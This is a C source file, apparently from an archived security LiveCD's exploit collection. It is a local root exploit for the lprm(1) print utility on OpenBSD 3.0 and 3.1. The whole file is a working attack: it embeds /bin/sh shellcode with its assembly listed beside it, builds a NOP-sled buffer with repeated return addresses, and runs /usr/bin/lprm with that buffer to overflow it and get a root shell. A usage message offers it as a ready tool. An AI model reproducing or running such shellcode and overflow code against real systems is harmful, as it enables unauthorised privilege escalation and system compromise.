home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lprmexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  145 lines

  1. /*
  2.  * lprmexp.c
  3.  *
  4.  * OpenBSD <= 3.1 lprm(1) local root exploit
  5.  *
  6.  * By CMN <cmn@darklab.org>/<md0claes@mdstud.chalmers.se>
  7.  *
  8.  * Tested on OpenBSD 3.0 and 3.1.
  9.  *
  10.  * Fiddle with -a option from 1 to 7 to indent address in
  11.  * buffer.
  12.  *
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19. #include <sys/types.h>
  20.  
  21. #define LPRMPROG    "/usr/bin/lprm"
  22. #define BUFSIZE     511
  23. #define OFFSET      0
  24. #define NOP         0x90
  25.  
  26. static char obsdcode[] =
  27.     "\x31\xc0"             /* xorl    %eax, %eax  */
  28.     "\x50"                 /* pushl   %eax        */
  29.     "\x50"                 /* pushl   %eax        */
  30.     "\xb0\xb7"             /* movb    $0xb7, %al  */
  31.     "\xcd\x80"             /* int     $0x80       */
  32.     "\x31\xc0"             /* xorl    %eax, %eax  */
  33.     "\xb0\x19"             /* movb    $0x19, %al  */
  34.     "\x50"                 /* pushl   %eax        */
  35.     "\xcd\x80"             /* int     $0x80       */
  36.     "\x50"                 /* pushl   %eax        */
  37.     "\x50"                 /* pushl   %eax        */
  38.     "\x31\xc0"             /* xorl    %eax, %eax  */
  39.     "\xb0\x17"             /* movb    $0x17, %al  */
  40.     "\xcd\x80"             /* int     $0x80       */
  41.     "\x31\xc0"             /* xorl    %eax, %eax  */
  42.     "\xb0\x2b"             /* movb    $0x2b, %al  */
  43.     "\x50"                 /* pushl   %eax        */
  44.     "\xcd\x80"             /* int     $0x80       */
  45.     "\x50"                 /* pushl   %eax        */
  46.     "\x50"                 /* pushl   %eax        */
  47.     "\x31\xc0"             /* xorl    %eax, %eax  */
  48.     "\xb0\xb5"             /* movb    $0xb5, %al  */
  49.     "\xcd\x80"             /* int     $0x80       */
  50.     "\x31\xc0"             /* xorl    %eax, %eax  */
  51.     "\x50"                 /* pushl   %eax        */
  52.     "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
  53.     "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
  54.     "\x89\xe3"             /* movl    %esp, %ebx  */
  55.     "\x50"                 /* pushl   %eax        */
  56.     "\x53"                 /* pushl   %ebx        */
  57.     "\x89\xe2"             /* movl    %esp, %edx  */
  58.     "\x50"                 /* pushl   %eax        */
  59.     "\x52"                 /* pushl   %edx        */
  60.     "\x53"                 /* pushl   %ebx        */
  61.     "\x50"                 /* pushl   %eax        */
  62.     "\xb0\x3b"             /* movb    $0x3b, %al  */
  63.     "\xcd\x80"             /* int     $0x80       */
  64.     "\x31\xc0"             /* xorl    %eax, %eax  */
  65.     "\x40"                 /* inc     %eax        */
  66.     "\x50"                 /* pushl   %eax        */
  67.     "\x50"                 /* pushl   %eax        */
  68.     "\xcd\x80";            /* int     $0x80       */
  69.  
  70. u_long
  71. getesp(void)
  72. {
  73.     __asm__("movl %esp, %eax");
  74. }
  75.  
  76. void
  77. usage(u_char *pname)
  78. {
  79.     printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n");
  80.     printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n",
  81.         pname);
  82. }
  83.  
  84.  
  85. int
  86. main(int argc, char *argv[])
  87. {
  88.     int i;
  89.     u_char indent = 0;
  90.     u_long raddr = 0;
  91.     u_long offset = 0;
  92.     u_char buf[BUFSIZE+1];
  93.  
  94.     if (argc < 2) {
  95.         usage(argv[0]);
  96.         exit(1);
  97.     }
  98.  
  99.     argc--;
  100.     argv++;
  101.  
  102.     while ( (i = getopt(argc, argv, "a:r:o:")) != -1) {
  103.         switch (i) {
  104.             case 'a':
  105.                 indent = atoi(optarg) % 8;
  106.                 break;
  107.  
  108.             case 'r':
  109.                 raddr = strtoul(optarg, NULL, 0);
  110.                 break;
  111.  
  112.             case 'o':
  113.                 offset = strtoul(optarg, NULL, 0);
  114.                 break;
  115.  
  116.             default:
  117.                 exit(1);
  118.                 break;
  119.         }
  120.     }
  121.  
  122.     if (!raddr) {
  123.         raddr = getesp();
  124.         raddr -= offset ? offset : OFFSET;
  125.     }
  126.     else
  127.         raddr -= offset;
  128.  
  129.     printf("Using address 0x%08x\n", raddr);
  130.  
  131.     memset(buf, NOP, BUFSIZE);
  132.     memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr));
  133.     memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr));
  134.     memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr));
  135.     memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr));
  136.     memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr));
  137.     memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr));
  138.     memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100),
  139.             obsdcode, strlen(obsdcode));
  140.     buf[BUFSIZE] = '\0';
  141.  
  142.     execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL);
  143.     exit(1);
  144. }
  145.